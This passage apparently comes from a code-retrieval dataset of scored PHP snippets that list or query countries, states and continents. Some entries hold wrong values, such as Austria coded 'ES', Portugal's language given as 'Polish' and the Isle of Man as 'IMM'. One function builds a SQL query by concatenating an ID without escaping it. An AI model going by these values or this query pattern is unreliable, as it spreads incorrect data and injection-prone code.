file_get_contents($data); \n }", "title": "" }, { "docid": "2f690eef776ff618703344958fd9d212", "score": "0.5095011", "text": "private function init_countries() {\n\t\t$this->countries = array(\n\t\t\tarray(\n\t\t\t\t'country' => 'Afghanistan',\n\t\t\t\t'3166-1-alpha-2' => 'AF',\n\t\t\t\t'3166-1-alpha-3' => 'AFG',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Åland Islands',\n\t\t\t\t'3166-1-alpha-2' => 'AX',\n\t\t\t\t'3166-1-alpha-3' => 'ALA',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Albania',\n\t\t\t\t'language' => 'Albanian',\n\t\t\t\t'3166-1-alpha-2' => 'AL',\n\t\t\t\t'3166-1-alpha-3' => 'ALB',\n\t\t\t\t'639-1' => 'SQ',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Austria',\n\t\t\t\t'language' => 'German',\n\t\t\t\t'3166-1-alpha-2' => 'AT',\n\t\t\t\t'3166-1-alpha-3' => 'AUT',\n\t\t\t\t'639-1' => 'ES',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Ethiopia',\n\t\t\t\t'language' => 'Amharic',\n\t\t\t\t'3166-1-alpha-2' => 'ET',\n\t\t\t\t'3166-1-alpha-3' => 'ETH',\n\t\t\t\t'639-1' => 'AM',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Denmark',\n\t\t\t\t'language' => 'Danish',\n\t\t\t\t'3166-1-alpha-2' => 'DK',\n\t\t\t\t'3166-1-alpha-3' => 'DNK',\n\t\t\t\t'639-1' => 'DA',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'France',\n\t\t\t\t'language' => 'French',\n\t\t\t\t'3166-1-alpha-2' => 'FR',\n\t\t\t\t'3166-1-alpha-3' => 'FRA',\n\t\t\t\t'639-1' => 'FR',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Germany',\n\t\t\t\t'3166-1-alpha-2' => 'DE',\n\t\t\t\t'3166-1-alpha-3' => 'DEU',\n\t\t\t\t'639-1' => 'DE',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Italy',\n\t\t\t\t'language' => 'Italian',\n\t\t\t\t'3166-1-alpha-2' => 'IT',\n\t\t\t\t'3166-1-alpha-3' => 'ITA',\n\t\t\t\t'639-1' => 'IT',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Netherlands',\n\t\t\t\t'language' => 'Dutch',\n\t\t\t\t'3166-1-alpha-2' => 'NL',\n\t\t\t\t'3166-1-alpha-3' => 'NLD',\n\t\t\t\t'639-1' => 'NL',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Spain',\n\t\t\t\t'language' => 'Spanish',\n\t\t\t\t'3166-1-alpha-2' => 'ES',\n\t\t\t\t'3166-1-alpha-3' => 'ESP',\n\t\t\t\t'639-1' => 'ES',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Poland',\n\t\t\t\t'language' => 'Polish',\n\t\t\t\t'3166-1-alpha-2' => 'PL',\n\t\t\t\t'3166-1-alpha-3' => 'POL',\n\t\t\t\t'639-1' => 'PL',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Portugal',\n\t\t\t\t'language' => 'Polish',\n\t\t\t\t'3166-1-alpha-2' => 'PT',\n\t\t\t\t'3166-1-alpha-3' => 'PRT',\n\t\t\t\t'639-1' => 'PT',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'Switzerland',\n\t\t\t\t'language' => 'German',\n\t\t\t\t'3166-1-alpha-2' => 'CH',\n\t\t\t\t'3166-1-alpha-3' => 'CHE',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'country' => 'United Kingdom',\n\t\t\t\t'language' => 'English',\n\t\t\t\t'3166-1-alpha-2' => 'GB',\n\t\t\t\t'3166-1-alpha-3' => 'GBR',\n\t\t\t\t'639-1' => 'EN',\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "2872b3f4bdfc31a0d4fd84a6c9d97fb7", "score": "0.50913644", "text": "function retrieve_volunteers_country_list($volunteer_id){\r\n\t\r\n\t\tglobal $connection;\r\n\t\tmysql_select_db(\"volunteers\");\r\n\t\t$sql = \"SELECT volunteers.aboutplacement.FirstDestination1, volunteers.aboutplacement.SecondDestination2 FROM volunteers.aboutplacement WHERE vol_id = \".$volunteer_id;\r\n\t\t$result = mysql_query($sql, $_SESSION['connection2']) or die(mysql_error($_SESSION['connection2']));\t\t\t\r\n\t\t$params = array('FirstDestination1', 'SecondDestination2');\t\t\t\r\n\t\t$i=0;\r\n\t\twhile($row = @mysql_fetch_array($result)){\r\n\t\t\tforeach($params as $key){\r\n\t\t\t\t$vol_country_list[] = $row[$key];\r\n\t\t\t}\t\r\n\t\t\t$i++;\t\t\t\r\n\t\t}\t\t\t\t\r\n\t\tmysql_select_db(\"pahro\");\r\n\t\t$filter = array();\r\n\t\tif(in_array(4, $vol_country_list)){\r\n\t\t\t$filter[] = 2;\r\n\t\t}\r\n\t\tif(in_array(13, $vol_country_list)){\r\n\t\t\t$filter[] = 1;\r\n\t\t}\r\n\t\treturn $filter;\r\n\t}", "title": "" }, { "docid": "01cb7e1c34569fcf4876212a7596a0c3", "score": "0.505841", "text": "function listar_locais_apresentacao(){\n global $DB; \n $lista_locais = $DB->get_records(\"sepex_local_apresentacao\",array());\n $locais = array(); \n foreach($lista_locais as $local){ \n array_push($locais, $local); \n } \n return $locais;\n}", "title": "" }, { "docid": "9e4b39054ad8709582b321dd8b1172e7", "score": "0.50581384", "text": "protected function get_ppsc_country_list()\n\t{\n\t\t$countries = Shop_Country::get_object_list();\n\t\t$result = array();\n\t\t$result[] = '* - Any country||*';\n\t\tforeach ($countries as $country)\n\t\t\t$result[] = $country->code.' - '.$country->name.'||'.$country->code;\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.5043543", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.5043543", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.5043543", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.5043543", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.5043543", "text": "public function getCountry();", "title": "" }, { "docid": "84e77a2fef41ace372a7632882f04b1c", "score": "0.50403947", "text": "public function actionListAllStatesForACorporateCountry(){\n \n $country_id = $_REQUEST['country_id'];\n \n //$service_id = 2;\n \n $criteria = new CDbCriteria();\n $criteria->select = '*';\n $criteria->condition='country_id=:id';\n $criteria->params = array(':id'=>$country_id);\n $criteria->order = \"name\";\n $state = State::model()->findAll($criteria); \n \n if($state===null) {\n http_response_code(404);\n $data['error'] ='No record found';\n echo CJSON::encode($data);\n } else {\n header('Content-Type: application/json');\n echo CJSON::encode(array(\n \"success\" => mysql_errno() == 0,\n \"state\" => $state)\n );\n \n }\n \n }", "title": "" }, { "docid": "c3a816409b22ba8e9f31d6987d10a463", "score": "0.5037654", "text": "function all_countries($dbconn) {\n $q = \"SELECT * FROM\n(SELECT distinct(country_code) FROM council) as t1\nLEFT JOIN countries as t2\nON t1.country_code = t2.code\nORDER BY code;\";\n $result = pg_query($dbconn,$q);\n $out = [];\n while ($row = pg_fetch_assoc($result)) {\n $out[] = $row;\n }\n return $out;\n}", "title": "" }, { "docid": "f3679edd7c704514f5d63256f2a37702", "score": "0.50358194", "text": "function dsf_get_countries($countries_id=0) {\n $countries_array = array();\n \n\tif ((int)$countries_id > 0) {\n $countries = dsf_db_query(\"select m.country_id, m.country_iso_code_2, m.country_iso_code_3, l.country_name from \" . DS_DB_LANGUAGE . \".country_names l left join \" . DS_DB_MASTER . \".countries m on (l.country_id = m.country_id) where l.country_id = '\" . (int)$countries_id . \"' order by l.country_name\");\n\n\n } else {\n $countries = dsf_db_query(\"select m.country_id, m.country_iso_code_2, m.country_iso_code_3, l.country_name from \" . DS_DB_LANGUAGE . \".country_names l left join \" . DS_DB_MASTER . \".countries m on (l.country_id = m.country_id) order by l.country_name\");\n\n\t}\n\t\t\t while ($countries_values = dsf_db_fetch_array($countries)) {\n\t\t\t\t$countries_array[] = array('countries_id' => $countries_values['country_id'],\n\t\t\t\t\t\t\t\t\t\t'countries_name' => $countries_values['country_name'],\n\t\t\t\t\t\t\t\t\t\t 'countries_iso_code_2' => $countries_values['country_iso_code_2'],\n\t\t\t\t\t\t\t\t\t\t 'countries_iso_code_3' => $countries_values['country_iso_code_3']);\n\t\t\t }\n\n\n return $countries_array;\n }", "title": "" }, { "docid": "de2079dc8dd5bdeaa35de26f6f3145b0", "score": "0.50339043", "text": "function getStateList($state_name){\n\t\t\t//getting value from database\n\t\t\tif(!empty($state_name))\n\t\t\t{\n\t\t\t\t$zone_list = $this->manageContent->getValue_twoCoditions(\"zone\",\"*\",\"status\",1,\"name\",$state_name);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$zone_list = $this->manageContent->getValue_twoCoditions(\"zone\",\"*\",\"status\",1,\"country_id\",190);\n\t\t\t}\n\t\t\t\n\t\t\tif(!empty($zone_list[0]))\n\t\t\t{\n\t\t\t\tforeach($zone_list as $zone)\n\t\t\t\t{\n\t\t\t\t\techo '<option value=\"'.$zone['name'].'\">'.$zone['name'].'</option>';\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "4927f598da93b0f747df1e09fa283499", "score": "0.50316066", "text": "public static function Getcountrylist()\n {\n try {\n $returnData = array();\n $returnData['success'] = Config('constant.standard_response_values.FAILURE');\n $returnData['data'] = array();\n\n $countryList = Countries::all()->toArray();\n if (!empty($countryList)) {\n $returnData['success'] = Config('constant.standard_response_values.SUCCESS');\n $returnData['data'] = $countryList;\n } else {\n $returnData['success'] = Config('constant.standard_response_values.FAILURE');\n $returnData['data'] = array();\n }\n } catch (\\Exception $e) {\n //Code to send mail starts here\n $sendExceptionMail = UtilityController::Sendexceptionmail($e, Config('constant.config_variables.VIEW_FILE_EXCEPTION'), Config('constant.config_variables.FROM_EMAIL'), Config('constant.config_variables.FROM_EMAIL_NAME'), Config('constant.send_mail_to'), Config('constant.config_variables.EXCEPTION_MAIL_SUBJECT'));\n //Code to send mail ends here\n\n }\n //Return the data in JSON format\n return response()->json($returnData);\n }", "title": "" }, { "docid": "b09645d20d4d5a10628ae55736554e6d", "score": "0.5030309", "text": "function get_allcountry() {\n $this->db->select('CountryCode, CountryName as `CountryName`')\n ->from(TABLE_COUNTRY)\n ->where('Status', '1')\n ->order_by('CountryName','asc');\n\n $query = $this->db->get();\n return $query;\n\n }", "title": "" }, { "docid": "744d103b0981787d2c84a597145f9024", "score": "0.5026369", "text": "public function getAllAgende(){\n return $this->getAgende();\n }", "title": "" }, { "docid": "172070834485346bd14b3872e2616e67", "score": "0.5024151", "text": "public function get_for_browse_continents(){\n //dropdown bar select options based on Continent selection by the user\n $continent_code = NULL;\n $sql = 'SELECT * FROM geocontinents';\n $continents = $this->query($sql);\n while($continent = $continents->fetch()){\n echo \"<option value='\". $continent[\"ContinentCode\"].\"'>\". $continent[\"ContinentName\"] .\" </option>\";\n }\n }", "title": "" }, { "docid": "6fabaa6d2f00661740f6ae985655016f", "score": "0.5022225", "text": "public function get_countries(){\n\t\t\t$this->db->select('id, name');\n\t\t\t$this->db->from('countries');\n\t\t\t$this->db->where('status', '1');\n\t\t\t$order_by = 'name';\n\t\t\t$order_by_ad = 'asc';\n\t\t\t$this->db->order_by($order_by, $order_by_ad);\t\n\t\t\t$query = $this->db->get();\t\t\t\n\t\t\treturn $query->result_array();\t\n\t\t}", "title": "" }, { "docid": "da02fe215a5802ee9d10ba2d0efcfea9", "score": "0.5010717", "text": "function getAllCountryCodes() {\n\t\tif (!$this->_geoLocationTool) return null;\n\n\t\t$tool =& $this->_geoLocationTool;\n\t\t$countryCodes = $tool->GEOIP_COUNTRY_CODES;\n\n\t\t// Overwrite the first empty record with the code to\n\t\t// unknow country.\n\t\t$countryCodes[0] = STATISTICS_UNKNOWN_COUNTRY_ID;\n\t\treturn $countryCodes;\n\t}", "title": "" }, { "docid": "1bc89557fccbceb64d5185945092f463", "score": "0.5003925", "text": "function countriesSelectArray(): array\n {\n $countries = countries();\n $selectArray = [];\n\n foreach ($countries as $key=>$country){\n $selectArray[$country['iso_3166_1_alpha2']] = $country['name'];\n }\n\n asort($selectArray);\n\n return $selectArray;\n }", "title": "" }, { "docid": "74b463ef4c2e17a79eafedf835277c7b", "score": "0.50035334", "text": "public function selectCountries() {\n $queryStr = 'SELECT country_name, country_abbrev FROM countries ORDER BY country_name';\n return $this->_registry->getObject('db')->makeDataArray($queryStr, 'country_abbrev', 'country_name');\n }", "title": "" }, { "docid": "25e719fc02b797c8067c9832d2e7db6c", "score": "0.50032616", "text": "public function run()\n {\n $countries = array(\n array('country' => 'Afghanistan','iso3166_alpha2' => 'AF','iso3166_alpha3' => 'AFG','iso3166_numeric' => '004'),\n array('country' => 'Aland Islands','iso3166_alpha2' => 'AX','iso3166_alpha3' => 'ALA','iso3166_numeric' => '248'),\n array('country' => 'Albania','iso3166_alpha2' => 'AL','iso3166_alpha3' => 'ALB','iso3166_numeric' => '008'),\n array('country' => 'Algeria','iso3166_alpha2' => 'DZ','iso3166_alpha3' => 'DZA','iso3166_numeric' => '012'),\n array('country' => 'American Samoa','iso3166_alpha2' => 'AS','iso3166_alpha3' => 'ASM','iso3166_numeric' => '016'),\n array('country' => 'Andorra','iso3166_alpha2' => 'AD','iso3166_alpha3' => 'AND','iso3166_numeric' => '020'),\n array('country' => 'Angola','iso3166_alpha2' => 'AO','iso3166_alpha3' => 'AGO','iso3166_numeric' => '024'),\n array('country' => 'Anguilla','iso3166_alpha2' => 'AI','iso3166_alpha3' => 'AIA','iso3166_numeric' => '660'),\n array('country' => 'Antarctica','iso3166_alpha2' => 'AQ','iso3166_alpha3' => 'ATA','iso3166_numeric' => '010'),\n array('country' => 'Antigua And Barbuda','iso3166_alpha2' => 'AG','iso3166_alpha3' => 'ATG','iso3166_numeric' => '028'),\n array('country' => 'Argentina','iso3166_alpha2' => 'AR','iso3166_alpha3' => 'ARG','iso3166_numeric' => '032'),\n array('country' => 'Armenia','iso3166_alpha2' => 'AM','iso3166_alpha3' => 'ARM','iso3166_numeric' => '051'),\n array('country' => 'Aruba','iso3166_alpha2' => 'AW','iso3166_alpha3' => 'ABW','iso3166_numeric' => '533'),\n array('country' => 'Australia','iso3166_alpha2' => 'AU','iso3166_alpha3' => 'AUS','iso3166_numeric' => '036'),\n array('country' => 'Austria','iso3166_alpha2' => 'AT','iso3166_alpha3' => 'AUT','iso3166_numeric' => '040'),\n array('country' => 'Azerbaijan','iso3166_alpha2' => 'AZ','iso3166_alpha3' => 'AZE','iso3166_numeric' => '031'),\n array('country' => 'Bahamas','iso3166_alpha2' => 'BS','iso3166_alpha3' => 'BHS','iso3166_numeric' => '044'),\n array('country' => 'Bahrain','iso3166_alpha2' => 'BH','iso3166_alpha3' => 'BHR','iso3166_numeric' => '048'),\n array('country' => 'Bangladesh','iso3166_alpha2' => 'BD','iso3166_alpha3' => 'BGD','iso3166_numeric' => '050'),\n array('country' => 'Barbados','iso3166_alpha2' => 'BB','iso3166_alpha3' => 'BRB','iso3166_numeric' => '052'),\n array('country' => 'Belarus','iso3166_alpha2' => 'BY','iso3166_alpha3' => 'BLR','iso3166_numeric' => '112'),\n array('country' => 'Belgium','iso3166_alpha2' => 'BE','iso3166_alpha3' => 'BEL','iso3166_numeric' => '056'),\n array('country' => 'Belize','iso3166_alpha2' => 'BZ','iso3166_alpha3' => 'BLZ','iso3166_numeric' => '084'),\n array('country' => 'Benin','iso3166_alpha2' => 'BJ','iso3166_alpha3' => 'BEN','iso3166_numeric' => '204'),\n array('country' => 'Bermuda','iso3166_alpha2' => 'BM','iso3166_alpha3' => 'BMU','iso3166_numeric' => '060'),\n array('country' => 'Bhutan','iso3166_alpha2' => 'BT','iso3166_alpha3' => 'BTN','iso3166_numeric' => '064'),\n array('country' => 'Bolivia, Plurinational State Of','iso3166_alpha2' => 'BO','iso3166_alpha3' => 'BOL','iso3166_numeric' => '068'),\n array('country' => 'Bonaire, Sint Eustatius And Saba','iso3166_alpha2' => 'BQ','iso3166_alpha3' => 'BES','iso3166_numeric' => '535'),\n array('country' => 'Bosnia And Herzegovina','iso3166_alpha2' => 'BA','iso3166_alpha3' => 'BIH','iso3166_numeric' => '070'),\n array('country' => 'Botswana','iso3166_alpha2' => 'BW','iso3166_alpha3' => 'BWA','iso3166_numeric' => '072'),\n array('country' => 'Bouvet Island','iso3166_alpha2' => 'BV','iso3166_alpha3' => 'BVT','iso3166_numeric' => '074'),\n array('country' => 'Brazil','iso3166_alpha2' => 'BR','iso3166_alpha3' => 'BRA','iso3166_numeric' => '076'),\n array('country' => 'British Indian Ocean Territory','iso3166_alpha2' => 'IO','iso3166_alpha3' => 'IOT','iso3166_numeric' => '086'),\n array('country' => 'Brunei Darussalam','iso3166_alpha2' => 'BN','iso3166_alpha3' => 'BRN','iso3166_numeric' => '096'),\n array('country' => 'Bulgaria','iso3166_alpha2' => 'BG','iso3166_alpha3' => 'BGR','iso3166_numeric' => '100'),\n array('country' => 'Burkina Faso','iso3166_alpha2' => 'BF','iso3166_alpha3' => 'BFA','iso3166_numeric' => '854'),\n array('country' => 'Burundi','iso3166_alpha2' => 'BI','iso3166_alpha3' => 'BDI','iso3166_numeric' => '108'),\n array('country' => 'Cambodia','iso3166_alpha2' => 'KH','iso3166_alpha3' => 'KHM','iso3166_numeric' => '116'),\n array('country' => 'Cameroon','iso3166_alpha2' => 'CM','iso3166_alpha3' => 'CMR','iso3166_numeric' => '120'),\n array('country' => 'Canada','iso3166_alpha2' => 'CA','iso3166_alpha3' => 'CAN','iso3166_numeric' => '124'),\n array('country' => 'Cape Verde','iso3166_alpha2' => 'CV','iso3166_alpha3' => 'CPV','iso3166_numeric' => '132'),\n array('country' => 'Cayman Islands','iso3166_alpha2' => 'KY','iso3166_alpha3' => 'CYM','iso3166_numeric' => '136'),\n array('country' => 'Central African Republic','iso3166_alpha2' => 'CF','iso3166_alpha3' => 'CAF','iso3166_numeric' => '140'),\n array('country' => 'Chad','iso3166_alpha2' => 'TD','iso3166_alpha3' => 'TCD','iso3166_numeric' => '148'),\n array('country' => 'Chile','iso3166_alpha2' => 'CL','iso3166_alpha3' => 'CHL','iso3166_numeric' => '152'),\n array('country' => 'China','iso3166_alpha2' => 'CN','iso3166_alpha3' => 'CHN','iso3166_numeric' => '156'),\n array('country' => 'Christmas Island','iso3166_alpha2' => 'CX','iso3166_alpha3' => 'CXR','iso3166_numeric' => '162'),\n array('country' => 'Cocos (keeling) Islands','iso3166_alpha2' => 'CC','iso3166_alpha3' => 'CCK','iso3166_numeric' => '166'),\n array('country' => 'Colombia','iso3166_alpha2' => 'CO','iso3166_alpha3' => 'COL','iso3166_numeric' => '170'),\n array('country' => 'Comoros','iso3166_alpha2' => 'KM','iso3166_alpha3' => 'COM','iso3166_numeric' => '174'),\n array('country' => 'Congo','iso3166_alpha2' => 'CG','iso3166_alpha3' => 'COG','iso3166_numeric' => '178'),\n array('country' => 'Congo, The Democratic Republic Of The','iso3166_alpha2' => 'CD','iso3166_alpha3' => 'COD','iso3166_numeric' => '180'),\n array('country' => 'Cook Islands','iso3166_alpha2' => 'CK','iso3166_alpha3' => 'COK','iso3166_numeric' => '184'),\n array('country' => 'Costa Rica','iso3166_alpha2' => 'CR','iso3166_alpha3' => 'CRI','iso3166_numeric' => '188'),\n array('country' => 'Cote D\\'\\'ivoire','iso3166_alpha2' => 'CI','iso3166_alpha3' => 'CIV','iso3166_numeric' => '384'),\n array('country' => 'Croatia','iso3166_alpha2' => 'HR','iso3166_alpha3' => 'HRV','iso3166_numeric' => '191'),\n array('country' => 'Cuba','iso3166_alpha2' => 'CU','iso3166_alpha3' => 'CUB','iso3166_numeric' => '192'),\n array('country' => 'Curacao','iso3166_alpha2' => 'CW','iso3166_alpha3' => 'CUW','iso3166_numeric' => '531'),\n array('country' => 'Cyprus','iso3166_alpha2' => 'CY','iso3166_alpha3' => 'CYP','iso3166_numeric' => '196'),\n array('country' => 'Czech Republic','iso3166_alpha2' => 'CZ','iso3166_alpha3' => 'CZE','iso3166_numeric' => '203'),\n array('country' => 'Denmark','iso3166_alpha2' => 'DK','iso3166_alpha3' => 'DNK','iso3166_numeric' => '208'),\n array('country' => 'Djibouti','iso3166_alpha2' => 'DJ','iso3166_alpha3' => 'DJI','iso3166_numeric' => '262'),\n array('country' => 'Dominica','iso3166_alpha2' => 'DM','iso3166_alpha3' => 'DMA','iso3166_numeric' => '212'),\n array('country' => 'Dominican Republic','iso3166_alpha2' => 'DO','iso3166_alpha3' => 'DOM','iso3166_numeric' => '214'),\n array('country' => 'Ecuador','iso3166_alpha2' => 'EC','iso3166_alpha3' => 'ECU','iso3166_numeric' => '218'),\n array('country' => 'Egypt','iso3166_alpha2' => 'EG','iso3166_alpha3' => 'EGY','iso3166_numeric' => '818'),\n array('country' => 'El Salvador','iso3166_alpha2' => 'SV','iso3166_alpha3' => 'SLV','iso3166_numeric' => '222'),\n array('country' => 'Equatorial Guinea','iso3166_alpha2' => 'GQ','iso3166_alpha3' => 'GNQ','iso3166_numeric' => '226'),\n array('country' => 'Eritrea','iso3166_alpha2' => 'ER','iso3166_alpha3' => 'ERI','iso3166_numeric' => '232'),\n array('country' => 'Estonia','iso3166_alpha2' => 'EE','iso3166_alpha3' => 'EST','iso3166_numeric' => '233'),\n array('country' => 'Ethiopia','iso3166_alpha2' => 'ET','iso3166_alpha3' => 'ETH','iso3166_numeric' => '231'),\n array('country' => 'Falkland Islands (malvinas)','iso3166_alpha2' => 'FK','iso3166_alpha3' => 'FLK','iso3166_numeric' => '238'),\n array('country' => 'Faroe Islands','iso3166_alpha2' => 'FO','iso3166_alpha3' => 'FRO','iso3166_numeric' => '234'),\n array('country' => 'Fiji','iso3166_alpha2' => 'FJ','iso3166_alpha3' => 'FJI','iso3166_numeric' => '242'),\n array('country' => 'Finland','iso3166_alpha2' => 'FI','iso3166_alpha3' => 'FIN','iso3166_numeric' => '246'),\n array('country' => 'France','iso3166_alpha2' => 'FR','iso3166_alpha3' => 'FRA','iso3166_numeric' => '250'),\n array('country' => 'French Guiana','iso3166_alpha2' => 'GF','iso3166_alpha3' => 'GUF','iso3166_numeric' => '254'),\n array('country' => 'French Polynesia','iso3166_alpha2' => 'PF','iso3166_alpha3' => 'PYF','iso3166_numeric' => '258'),\n array('country' => 'French Southern Territories','iso3166_alpha2' => 'TF','iso3166_alpha3' => 'ATF','iso3166_numeric' => '260'),\n array('country' => 'Gabon','iso3166_alpha2' => 'GA','iso3166_alpha3' => 'GAB','iso3166_numeric' => '266'),\n array('country' => 'Gambia','iso3166_alpha2' => 'GM','iso3166_alpha3' => 'GMB','iso3166_numeric' => '270'),\n array('country' => 'Georgia','iso3166_alpha2' => 'GE','iso3166_alpha3' => 'GEO','iso3166_numeric' => '268'),\n array('country' => 'Germany','iso3166_alpha2' => 'DE','iso3166_alpha3' => 'DEU','iso3166_numeric' => '276'),\n array('country' => 'Ghana','iso3166_alpha2' => 'GH','iso3166_alpha3' => 'GHA','iso3166_numeric' => '288'),\n array('country' => 'Gibraltar','iso3166_alpha2' => 'GI','iso3166_alpha3' => 'GIB','iso3166_numeric' => '292'),\n array('country' => 'Greece','iso3166_alpha2' => 'GR','iso3166_alpha3' => 'GRC','iso3166_numeric' => '300'),\n array('country' => 'Greenland','iso3166_alpha2' => 'GL','iso3166_alpha3' => 'GRL','iso3166_numeric' => '304'),\n array('country' => 'Grenada','iso3166_alpha2' => 'GD','iso3166_alpha3' => 'GRD','iso3166_numeric' => '308'),\n array('country' => 'Guadeloupe','iso3166_alpha2' => 'GP','iso3166_alpha3' => 'GLP','iso3166_numeric' => '312'),\n array('country' => 'Guam','iso3166_alpha2' => 'GU','iso3166_alpha3' => 'GUM','iso3166_numeric' => '316'),\n array('country' => 'Guatemala','iso3166_alpha2' => 'GT','iso3166_alpha3' => 'GTM','iso3166_numeric' => '320'),\n array('country' => 'Guernsey','iso3166_alpha2' => 'GG','iso3166_alpha3' => 'GGY','iso3166_numeric' => '831'),\n array('country' => 'Guinea','iso3166_alpha2' => 'GN','iso3166_alpha3' => 'GIN','iso3166_numeric' => '324'),\n array('country' => 'Guinea-bissau','iso3166_alpha2' => 'GW','iso3166_alpha3' => 'GNB','iso3166_numeric' => '624'),\n array('country' => 'Guyana','iso3166_alpha2' => 'GY','iso3166_alpha3' => 'GUY','iso3166_numeric' => '328'),\n array('country' => 'Haiti','iso3166_alpha2' => 'HT','iso3166_alpha3' => 'HTI','iso3166_numeric' => '332'),\n array('country' => 'Heard Island And Mcdonald Islands','iso3166_alpha2' => 'HM','iso3166_alpha3' => 'HMD','iso3166_numeric' => '334'),\n array('country' => 'Holy See (vatican City State)','iso3166_alpha2' => 'VA','iso3166_alpha3' => 'VAT','iso3166_numeric' => '336'),\n array('country' => 'Honduras','iso3166_alpha2' => 'HN','iso3166_alpha3' => 'HND','iso3166_numeric' => '340'),\n array('country' => 'Hong Kong','iso3166_alpha2' => 'HK','iso3166_alpha3' => 'HKG','iso3166_numeric' => '344'),\n array('country' => 'Hungary','iso3166_alpha2' => 'HU','iso3166_alpha3' => 'HUN','iso3166_numeric' => '348'),\n array('country' => 'Iceland','iso3166_alpha2' => 'IS','iso3166_alpha3' => 'ISL','iso3166_numeric' => '352'),\n array('country' => 'India','iso3166_alpha2' => 'IN','iso3166_alpha3' => 'IND','iso3166_numeric' => '356'),\n array('country' => 'Indonesia','iso3166_alpha2' => 'ID','iso3166_alpha3' => 'IDN','iso3166_numeric' => '360'),\n array('country' => 'Iran (islamic Republic Of)','iso3166_alpha2' => 'IR','iso3166_alpha3' => 'IRN','iso3166_numeric' => '364'),\n array('country' => 'Iraq','iso3166_alpha2' => 'IQ','iso3166_alpha3' => 'IRQ','iso3166_numeric' => '368'),\n array('country' => 'Ireland','iso3166_alpha2' => 'IE','iso3166_alpha3' => 'IRL','iso3166_numeric' => '372'),\n array('country' => 'Isle Of Man','iso3166_alpha2' => 'IM','iso3166_alpha3' => 'IMM','iso3166_numeric' => '833'),\n array('country' => 'Israel','iso3166_alpha2' => 'IL','iso3166_alpha3' => 'ISR','iso3166_numeric' => '376'),\n array('country' => 'Italy','iso3166_alpha2' => 'IT','iso3166_alpha3' => 'ITA','iso3166_numeric' => '380'),\n array('country' => 'Jamaica','iso3166_alpha2' => 'JM','iso3166_alpha3' => 'JAM','iso3166_numeric' => '388'),\n array('country' => 'Japan','iso3166_alpha2' => 'JP','iso3166_alpha3' => 'JPN','iso3166_numeric' => '392'),\n array('country' => 'Jersey','iso3166_alpha2' => 'JE','iso3166_alpha3' => 'JEY','iso3166_numeric' => '832'),\n array('country' => 'Jordan','iso3166_alpha2' => 'JO','iso3166_alpha3' => 'JOR','iso3166_numeric' => '400'),\n array('country' => 'Kazakhstan','iso3166_alpha2' => 'KZ','iso3166_alpha3' => 'KAZ','iso3166_numeric' => '398'),\n array('country' => 'Kenya','iso3166_alpha2' => 'KE','iso3166_alpha3' => 'KEN','iso3166_numeric' => '404'),\n array('country' => 'Kiribati','iso3166_alpha2' => 'KI','iso3166_alpha3' => 'KIR','iso3166_numeric' => '296'),\n array('country' => 'Korea, Democratic People\\\\\\'s Republic Of','iso3166_alpha2' => 'KP','iso3166_alpha3' => 'PRK','iso3166_numeric' => '408'),\n array('country' => 'Korea, Republic Of','iso3166_alpha2' => 'KR','iso3166_alpha3' => 'KOR','iso3166_numeric' => '410'),\n array('country' => 'Kuwait','iso3166_alpha2' => 'KW','iso3166_alpha3' => 'KWT','iso3166_numeric' => '414'),\n array('country' => 'Kyrgyzstan','iso3166_alpha2' => 'KG','iso3166_alpha3' => 'KGZ','iso3166_numeric' => '417'),\n array('country' => 'Lao People\\\\\\'s Democratic Republic','iso3166_alpha2' => 'LA','iso3166_alpha3' => 'LAO','iso3166_numeric' => '418'),\n array('country' => 'Latvia','iso3166_alpha2' => 'LV','iso3166_alpha3' => 'LVA','iso3166_numeric' => '428'),\n array('country' => 'Lebanon','iso3166_alpha2' => 'LB','iso3166_alpha3' => 'LBN','iso3166_numeric' => '422'),\n array('country' => 'Lesotho','iso3166_alpha2' => 'LS','iso3166_alpha3' => 'LSO','iso3166_numeric' => '426'),\n array('country' => 'Liberia','iso3166_alpha2' => 'LR','iso3166_alpha3' => 'LBR','iso3166_numeric' => '430'),\n array('country' => 'Libya','iso3166_alpha2' => 'LY','iso3166_alpha3' => 'LBY','iso3166_numeric' => '434'),\n array('country' => 'Liechtenstein','iso3166_alpha2' => 'LI','iso3166_alpha3' => 'LIE','iso3166_numeric' => '438'),\n array('country' => 'Lithuania','iso3166_alpha2' => 'LT','iso3166_alpha3' => 'LTU','iso3166_numeric' => '440'),\n array('country' => 'Luxembourg','iso3166_alpha2' => 'LU','iso3166_alpha3' => 'LUX','iso3166_numeric' => '442'),\n array('country' => 'Macao','iso3166_alpha2' => 'MO','iso3166_alpha3' => 'MAC','iso3166_numeric' => '446'),\n array('country' => 'Macedonia, The Former Yugoslav Republic Of','iso3166_alpha2' => 'MK','iso3166_alpha3' => 'MKD','iso3166_numeric' => '807'),\n array('country' => 'Madagascar','iso3166_alpha2' => 'MG','iso3166_alpha3' => 'MDG','iso3166_numeric' => '450'),\n array('country' => 'Malawi','iso3166_alpha2' => 